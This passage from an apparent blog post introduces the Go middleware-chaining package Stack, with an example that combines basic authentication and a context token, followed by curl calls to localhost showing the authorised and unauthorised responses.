as it possibly could be. Be simple to understand and non-magic. Operate nicely with existing standards. In particular: The handler chain must satisfy the http.Handler interface, so it can be used with the http.DefaultServeMux. It should be compatible with the func(http.Handler) http.Handler pattern commonly used by third-party middleware packages. The full documentation for Stack is here, but here's a quick example of how to use it: File: main.go package main import ( "fmt" "github.com/alexedwards/stack" "github.com/goji/httpauth" "net/http" ) func main() { // Setup goji/httpauth, some third-party middleware authenticate := stack.Middleware(httpauth.SimpleBasicAuth("user", "pass")) // Create a handler chain and register it with the DefaultServeMux http.Handle("/", stack.New(authenticate, tokenMiddleware).Then(tokenHandler)) http.ListenAndServe(":3000", nil) } func tokenMiddleware(ctx stack.Context, next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Add a value to Context with the key 'token' ctx["token"] = "c9e452805dee5044ba520198628abcaa" next.ServeHTTP(w, r) }) } func tokenHandler(ctx stack.Context) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Retrieve the token from Context and print it fmt.Fprintf(w, "Token is: %s", ctx["token"]) }) } $ curl -i user:pass@localhost:3000 HTTP/1.1 200 OK Content-Length: 41 Content-Type: text/plain; charset=utf-8 Token is: c9e452805dee5044ba520198628abcaa $ curl -i user:wrongpass@localhost:3000 HTTP/1.1 401 Unauthorized Content-Length: 13 Content-Type: text/plain; charset=utf-8 Www-Authenticate: Basic realm="Restricted" Unauthorized If you found this post useful, you might like to subscribe to my RSS feed.